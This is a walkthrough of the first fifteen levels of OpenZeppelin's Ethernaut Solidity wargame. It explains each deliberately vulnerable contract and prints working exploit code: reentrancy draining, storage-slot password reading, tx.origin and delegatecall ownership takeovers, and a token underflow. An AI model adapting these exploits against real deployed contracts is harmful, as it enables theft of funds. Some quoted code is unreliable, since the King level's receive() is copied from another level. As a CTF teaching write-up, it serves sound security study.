Demystifying Solidity Wargames: Openzeppelin’s ethernaut

LEVELS ONGOING
LEVEL 1: Fallback
Objective:
- Claim the ownership of the contract.
- Reduce it’s balance to 0.
Demystifying Contract:
The contract is constructed based on different functions and methods, The first two lines are defining a map and an address:
mapping(address => uint) public contributions;
address public owner;
The first line is a map defined as “contributions” that assigns every address to the amount that it contributes, and the second line is the owner’s address that gets initiated later in the constructor.
The constructor is a method that initialize the state variables of the contract:
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
The first line of the constructor initialize the owner’s address while the second initialize the owner’s contribution.
The modifier serves the purpose of making sure that the caller is only and only the owner:
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
The contribute function is a payable method which means it can receive value:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
The contribute method requires the value you send to the contract to be less than 0.001 ether, and if your address contribution is bigger than the owner’s contribution then your address will be the new owner.
The withdraw method is used to transfer all the balance to the owner:
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
The receive method is a fallback method which means it can be called by doing a transfer to the contract with an empty data field:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
The receive method sets your address as the owner if your address contribution value is more than 0 and your address transfer value to the contract while calling the fallback function is more than 0.
Demystifying Solution:
First you’ve to call the contribute() function so your address is satisfying the fallback funtion requirement of more than 0 contribution.
await contract.contribute({value:toWei(0.001)})
By making a transfer to the contract with an empty data field your address will call the receive() fallback function which will set your address as the owner of the contract:
await contract.sendTransaction({ from: player, value: 1 })
And by withdrawing the funds you’ll have the full solution for your instance:
await contract.withdraw()
You can check the balance of the contract by calling:
await getBalance(contract.address)
And now you can submit your instance!
LEVEL 2: Fallout
Objective:
- Claim the ownership of the contract.
Demystifying Contract:
The contract is constructed based on different functions and methods, The first two lines are defining a map and an address:
mapping(address => uint) allocations;
address payable public owner;
The first line is a map defined as “allocations” that assigns every address to the amount that it allocates, and the second line is the owner’s address.
The Fal1out() method is meant to be the constructor of the contract:
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
But due to the typo in “Fal1” instead of “Fall”, Now it’s a normal function that can be called by anyone.
The modifier serves the purpose of making sure that the caller is only and only the owner:
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
The allocate() method is a payable function that add the value you transfer to the contract while calling the function to your allocations:
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
The sendAllocation() method allows address’s to transfer value to each other:
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
With the security requirement of bigger than 0 allocations for the sender address.
The collectAllocations() method allows only the owner’s address - due to the onlyOwner modifier - to withdraw allocations:
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
The allocatorBalance() allows address’s to check their allocations balance:
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
Demystifying Solution:
Due to the wrong implementation of the constructor due to the typo in the name of the constructor, You can directly call the Fal1out() method and become the owner of the contract:
await contract.Fal1out()
And now you can submit your instance!
LEVEL 3: Coin Flip
Objective:
- Guess the outcome of the coin flip 10 times in a row.
Demystifying Contract:
The contract is constructed based on a constructor and a function, The first three lines are defining three variables:
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
The first line is the number of winnings in a row, The second line is the last hash defined and the third line is the factor used to determine the coinFlip variable.
The constructor initialize the number of winnings in a row to zero:
constructor() {
consecutiveWins = 0;
}
The flip method is a multilevel function that validates the guess and confirm the win in the consecutiveWins variable.
The blockValue variable assigns the flip outcome through the previous blockhash.
uint256 blockValue = uint256(blockhash(block.number - 1));
The first if statement validates blockValue which is the previous blockhash not equal to the last hash used in the flip() method:
if (lastHash == blockValue) {
revert();
}
Which prevent us from validating already determined answer by the contract.
The blockValue is now assigned to the last hash after validating the inequality:
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
The coinFlip variable is detetmined by the blockValue divided by the factor, The boolean side variable is a conditional (ternary) operator that assign’s true if the coinFlip is 1 and false otherwise.
The last if statement validates the guess equal to the side variable:
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
Which if true confirms the win by incrementing the consecutiveWins variable, Otherwise the consecutiveWins variable will be reset to 0.
Demystifying Solution:
The blockValue variable is deterministic which means it can’t be a source for randomness and therefore can be determined for different contracts as the same variable.
The solution contract sets an interface for the CoinFlip’s contract flip() method:
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
Which allow us to call the flip method directly from the solution contract.
The solution contract is constructed based on a function and a constructor, The first two lines are defining two variables:
ICoinFlip public instance;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
The first line is the instance for the CoinFlip contract interface, The second line is the factor used to determine the coinFlip variable.
The constructor initialize the instance address for the CoinFlip contract interface:
constructor(address instanceAddress) {
instance = ICoinFlip(instanceAddress);
}
The Exploit() method simulate the flip() method functionality while simultaneously calling the instance flip() method with the true side answer:
function Exploit() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
instance.flip(side);
}
And by calling the Exploit() method 10 times in a row you’ll have the full solution for your instance.
We can check the consecutiveWins variable equal or bigger than 10 by calling:
await contract.consecutiveWins()
And now you can submit your instance!
LEVEL 4: Telephone
Objective:
- Claim the ownership of the contract.
Demystifying Contract:
The contract is constructed based on a constructor and a function, The first line defines the owner address variable:
address public owner;
The constructor initialize the owner’s address:
constructor() {
owner = msg.sender;
}
The changeOwner() function changes the owner state variable to the method variable if the wallet address isn’t equal to the caller address:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
Demystifying Solution:
The tx.origin
is the wallet address that deployed the instance while the msg.sender
is the caller address either a wallet or a contract.
The solution contract sets an interface for the Telephone’s contract changeOwner() method:
interface ITelephone {
function changeOwner(address) external;
}
The Exploit() method changes the owner address to the wallet address tx.origin
from the solution contract:
function Exploit() external {
instance.changeOwner(tx.origin);
}
Due to the tx.origin
being the wallet address while the msg.sender
being the caller address which is the contract.
You can check the owner state variable equal to your address:
await contract.owner()
And now you can submit your instance!
LEVEL 5: Token
Objective:
- You are given 20 tokens, Get your hands on any additional tokens, Preferably a very large amount of tokens.
Demystifying Contract:
The contract is constructed based on different functions and methods, The first two lines are defining a map and a variable:
mapping(address => uint) balances;
uint public totalSupply;
The first line is a map defined as “balances” that assigns every address to it’s balance, and the second line is the totalSupply state variable.
The constructor initialize your address balance and the totalSupply state variable to the _initialSupply parameter:
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
The transfer() method allows address’s to transfer value to each other:
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
With the security requirement of bigger than or equal to 0 balance subtracted from value for the sender address.
The balanceOf() method allows address’s to check any balance:
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
Demystifying Solution:
Due to the wrong implementation of the transfer() method due to the balance and the value being unsigned integers and due to the lack of underflow protection we can directly inflate the amount of tokens in the balance:
await contract.transfer("Address", 21)
By subtracting 21 from the initial balance and due to the lack of underflow protection the address balance will inflate.
You can check the balance inflated:
await contract.balanceOf("Your address")
And now you can submit your instance!
LEVEL 6: Delegation
Objective:
- Claim the ownership of the instance.
Demystifying Contracts:
Delegate Contract:
The contract is constructed based on a constructor and a function, The first line defines the owner’s address state variable:
address public owner;
The constructor initialize the owner’s address to the _owner parameter:
constructor(address _owner) {
owner = _owner;
}
The pwn() function changes the owner state variable to the wallet address:
function pwn() public {
owner = msg.sender;
}
Delegation Contract:
The contract is constructed based on a constructor and a function, The first two lines are defining two variables:
address public owner;
Delegate delegate;
The first line is the owner’s address state variable, The second line is the instance for the Delegate contract.
The constructor initialize the instance address for the Delegate contract and the owner’s address state variable to the wallet address:
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
The fallback() method is a fallback function that delegate call the Delegate contract instance with data parameter:
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
Demystifying Solution:
The fallback() method allows to Delegate call the pwn() method of the Delegate contract instance.
By encoding the pwn() method:
const pwn = web3.eth.abi.encodeFunctionSignature('pwn()')
And by making a transfer to the contract with the pwn() method encode in the data field, Your address will call the fallback function which will Delegate call the pwn() method and sets your address as the owner of the contract:
await contract.sendTransaction({from: player, data: pwn})
You can check the owner state variable equal to your address:
await contract.owner()
And now you can submit your instance!
LEVEL 7: Force
Objective:
- Make the balance of the contract greater than zero.
Demystifying Contract:
The contract is an empty contract and constructed based on nothing:
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Demystifying Solution:
The contract doesn’t maintain a payable fallback function and therefore we can’t transfer into the contract balance.
However we can force transfer into the contract balance through other contract via selfdestruct() function:
contract ForceExploit{
constructor () public payable {
require(msg.value > 0);
selfdestruct(instanceAddress);
}
}
The selfdestruct() method destruct the ForceExploit contract and send the contract balance to the instance address.
You can check the instance balance bigger than 0:
await getBalance(instance)
And now you can submit your instance!
LEVEL 8: Vault
Objective:
- Unlock the vault.
Demystifying Contract:
The contract is constructed based on a constructor and a function, The first two lines are defining two variables:
bool public locked;
bytes32 private password;
The first line is the boolean locked state variable, The second line is the password variable.
The constructor initialize the password variable and the boolean locked state variable:
constructor(bytes32 _password) {
locked = true;
password = _password;
}
The unlock() method changes the boolean locked state variable to false if the _password parameter is equal to the password variable:
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
Demystifying Solution:
The password private state means other contracts can’t read the password variable, However the password is publicly availabe in the blockchain as the contract slot.
We can read the password by reading it’s slot which is slot 1:
const pwd = await web3.eth.getStorageAt(instance, 1)
And we can unlock the contract by using the password:
await contract.unlock(pwd)
And now you can submit your instance!
LEVEL 9: King
Objective:
- Claim the kingship of the contract without getting overthrown.
Demystifying Contract:
The contract is constructed based on a constructor and a function, The first three lines are defining three variables:
address king;
uint public prize;
address public owner;
The first line is the king address state variable, The second line is the prize variable and the third line is the owner’s address state variable.
The constructor initialize the owner variable and the king variable to the wallet address and the prize variable to the value:
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
The receive() method is a fallback method that transfer the value back to the king and sets a new king:
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
The receive method sets your address as the king if the value is more than the prize and allows you to hike the prize value while claiming the kingship.
The _king() method returns the current king address:
function _king() public view returns (address) {
return king;
}
Demystifying Solution:
Due to the wrong implementation of the King contract due to the contract requirement of transfer to the overthrown king before claiming the new king we can revert when the King contract transfer the value to our contract.
The Exploit() method transfer the value to the King contract and therefore the address claim the kingship:
function Exploit(address payable instanceAddress) external payable {
(bool success, ) = instanceAddress.call{value: msg.value}("");
require(success);
}
The receive() fallback method reverts when the contract tries to transfer the value back and therefore never getting overthorwn:
receive() external payable {
require(false);
}
And now you can submit your instance!
LEVEL 10: Re-entrancy
Objective:
- Steal all the funds from the contract.
Demystifying Contract:
The contract is constructed based on different functions, The first two lines are defining a library and a map:
using SafeMath for uint256;
mapping(address => uint) public balances;
The first line uses SafeMath library and the second line is a map defined as “balances” that assigns every address to it’s balance.
The donate() method allows address’s to transfer value to each other:
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
The balanceOf() method allows address’s to check any balance:
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
The withdraw() method allows address to withdraw their balance:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
With the requirement of the address balance bigger or equal to the _amount parameter, and then subtracting the amount from the balance.
The receive() method is a fallback method that allows to transfer value into the contract:
receive() external payable {}
Demystifying Solution:
Due to SafeMath library we can’t underflow nor overflow the balance.
However due to the withdraw() method transfering the value to the address before subtracting the value from the balance and the lack of the ReentrancyGuard function modifiers we can call the withdraw() method again after it invokes our contract before it subtracts the value form the balance.
The solution contract sets an interface for the Reentrance’s contract donate() and withdraw() methods:
interface IReentrance {
function donate(address) external payable;
function withdraw(uint256) external;
}
The solution contract is constructed based on a function and a constructor, The first two lines are defining two variables:
IReentrance public instance;
uint256 deposit;
The first line is the instance for the Reentrance contract interface, The second line is the initial deposit variable.
The constructor initialize the instance address for the Reentrance contract interface:
constructor(address instanceAddress) {
instance = IReentrance(instanceAddress);
}
The Exploit() method calls the donate() method and immediately calls the withdraw() method with the deposit requirement bigger than or equal to 0.001 ether:
function Exploit() external payable {
require(msg.value >= 0.001 ether);
deposit = msg.value;
instance.donate{value: deposit}(address(this));
instance.withdraw(deposit);
}
The withdraw() method called in Exploit() method invokes the receive() fallback function that calls the the withdraw() method again and again until the Reentrance contract balance is 0:
receive() external payable {
uint256 balance = address(instance).balance;
uint256 toWithdraw = balance > deposit ? balance : deposit;
if (toWithdraw > 0) {
instance.withdraw(toWithdraw);
}
}
The fallback() function calls the withdraw() method repeatedly before it subtracts the value from the balance and therefore withdrawing more than the address balance.
We can check the contract balance equal to 0 by calling:
await web3.eth.getBalance(instance)
And now you can submit your instance!
LEVEL 11: Elevator
Objective:
- Reach the top of your building (Set the top variable to true).
Demystifying Contract:
The contract is constructed based on a function and an interface.
The contract sets an interface for the Building contract isLastFloor() method:
interface Building {
function isLastFloor(uint) external returns (bool);
}
The first line is the boolean top state variable, The second line is the floor variable.
bool public top;
uint public floor;
The goTo() method validates the if statement only if the building instance isLastFloor() method returns false so that it can be inverted to true and therefore sets the top to false:
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
Demystifying Solution:
The goTo() method sets the boolean top state variable to true if the building instance isLastFloor() method returns false the first time so it validates the if statement and true the others so it sets the top state variable to true.
The solution contract sets an interface for the Elevator contract goTo() method:
interface IElevator {
function goTo(uint) external;
}
The solution contract is constructed based on different functions and a constructor, The first two lines are defining two variables:
IElevator public instance;
uint private inc;
The first line is the instance for the Elevator contract interface, The second line is the inc variable used to determine the isLastFloor() method state.
The constructor initialize the instance address for the Elevator contract interface:
constructor(address instanceAddress) {
instance = IElevator(instanceAddress);
}
The Exploit() method calls the goTo() instance method:
function Exploit() external {
instance.goTo(0);
}
The goTo() instance method called in Exploit() method invokes the solution contract isLastFloor() function that returns false to validate the Elevator contract if statement and then only returns true and therefore sets the boolean top state variable to true:
function isLastFloor(uint) external returns (bool) {
if (inc > 0) return true;
else {
inc++;
return false;
}
}
You can check the boolean top state variable equal to true by:
await contract.top();
And now you can submit your instance!
LEVEL 12: Privacy
Objective:
- Unlock the contract.
Demystifying Contract:
The contract is constructed based on a constructor and a function, The first six lines are defining six variables:
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
The first line is the boolean locked state variable, The second line is the block timestamp variable defined as ID, The third line is the private flattening variable initiated as 10, The fourth line is the private denomination variable initiated as 255, The fifth line is the private awkwardness variable initiated as the unsigned integer of the block timestamp and the last line is the data private variable.
The constructor initialize the data variable to the constructor parameter _data variable:
constructor(bytes32[3] memory _data) {
data = _data;
}
The unlock() method sets the locked variable to false and unlocks the contract if the function parameter _key variable is equal to the data[2] variable:
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
Demystifying Solution:
We previously stated that the private state variable means that other contracts can’t read the variable, However the variable is publicly availabe in the blockchain as the contract slot.
Due to the contract storage occupation we can count that the data[2] variable is stored at slot 5.
We can check the contract slot 5 storage by:
const data = await web3.eth.getStorageAt(instance, 5)
We can slice the data to cast the hex prefix by:
const key = data.slice(0, 34)
And we can unlock the contract by:
await contract.unlock(key)
You can check the contract locked equal to false:
await contract.locked()
And now you can submit your instance!
LEVEL 13: Gatekeeper One
Objective:
- Make it past the gatekeepers and register as an entrant.
Demystifying Contract:
The contract is constructed based on a function and different modifiers, The first line defines the entrant address variable:
address public entrant;
The gateOne modifier serves the purpose of making sure that the wallet address isn’t equal to the caller address or the caller is only a contract:
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
The gateTwo modifier serves the purpose of making sure that the gas left is a multiple of 8191 or the gas left modulo 8191 is equal to 0:
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
The gateThree modifier define three different requirements:
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
The first requirement requires that the 64 uint conversion to 16 uint of the _gateKey parameter is equal to the 64 uint conversion to 32 uint of the same _gateKey parameter.
The second requirement requires that the 64 uint of the _gateKey parameter is not equal to the 64 uint conversion to 32 uint of the same _gateKey parameter.
The third requirement requires that the 160 uint conversion to 16 uint of the wallet address is equal to the 64 uint conversion to 32 uint of the _gateKey parameter.
The enter() method sets the entrant to the wallet address if the modifiers are satisfied:
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
Demystifying Solution:
The first modifier can be satisfied by simply calling the instance from a contract.
The third modifier can be satisfied by calculating the last requirement of the modifier:
uint32(uint64(_gateKey)) == uint16(tx.origin)
This satisfies the second requirement too, and we can satisfy the first requirement by changing the bits from 16 to 32 equal to 0.
And the second modifier can be satisfied by brute-forcing the amount of gas required to validate the requirement of the gas left modulo 8191 is equal to 0:
for (uint256 i = 0; i < 8191; i++) {
console.log("gas", i);
try {
Exploit.enter(address(instance), i)
break;
} catch {}
}
And the gas required is 256.
You can check the entrant state variable equal to your address by:
await contract.entrant()
And now you can submit your instance!
LEVEL 14: Gatekeeper Two
Objective:
- Register as an entrant.
Demystifying Contract:
The contract is constructed based on a function and different modifiers, The first line defines the entrant address variable:
address public entrant;
The gateOne modifier serves the purpose of making sure that the wallet address isn’t equal to the caller address or the caller is only a contract:
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
The gateTwo modifier requires the caller contract code size equal to 0:
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
The gateThree modifier requires an XOR bitwise operation to be staisfied:
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
The enter() method sets the entrant to the wallet address if the modifiers are satisfied:
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
Demystifying Solution:
The first modifier can be satisfied by simply calling the instance from a contract.
The second modifier can be satisfied by calling the instance from the caller contract constructor and therefore validating the caller contract code size equal to 0.
The third modifier can be satisfied by inverting the XOR bitwise operation:
bytes8 _gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
The type(uint64).max
is represented as uint64(0) - 1
and converted to 0xFFFFFFFFFFFFFFFF
.
The solution contract is constructed based on a constructor, The first two lines are defining two variables:
IGatekeeperTwo public instance;
bytes8 _gateKey;
The first line is the instance for the GatekeeperTwo contract interface, The second line is the _gateKey variable that assigns the inverted XOR bitwise operation.
The constructor initialize the instance address for the GatekeeperTwo contract interface:
constructor(address instanceAddress) {
instance = IGatekeeperTwo(instanceAddress);
_gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
instance.enter(_gateKey);
}
And calls the enter() instance method with the _gateKey variable in the constructor which satisfies the second modifier.
You can check the entrant state variable equal to your address by:
await contract.entrant()
And now you can submit your instance!
LEVEL 15: Naught Coin
Objective:
- Get your token balance to 0.
Demystifying Contract:
The NaughtCoin contract is inheriting the ERC20 which validates it as ERC20 token:
contract NaughtCoin is ERC20
The contract is constructed based on a constructor and a function, The first three lines are defining three variables:
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
The first line is the time lock variable, The second line is the initial supply variable and the third line is the player address.
The constructor initialize the supply and the player through the inherited ERC20 contract:
constructor(address _player) ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
The transfer() method allows address’s to transfer value to each other:
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
The modifier serves the purpose of preventing the initial owner from transferring tokens until the timelock has passedr:
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
Demystifying Solution:
Due to the NaughtCoin contract inheriting the ERC20 contract we can interact with other methods to move the funds such the transferFrom() method.
But before moving the funds we need to validate the amount to move:
const value = await contract.INITIAL_SUPPLY()
And then approve and confirm the amount:
await contract.approve(player, value);
And then transfer it by:
contract.transferFrom(player, "instanceAddress", value);
And now you can submit your instance!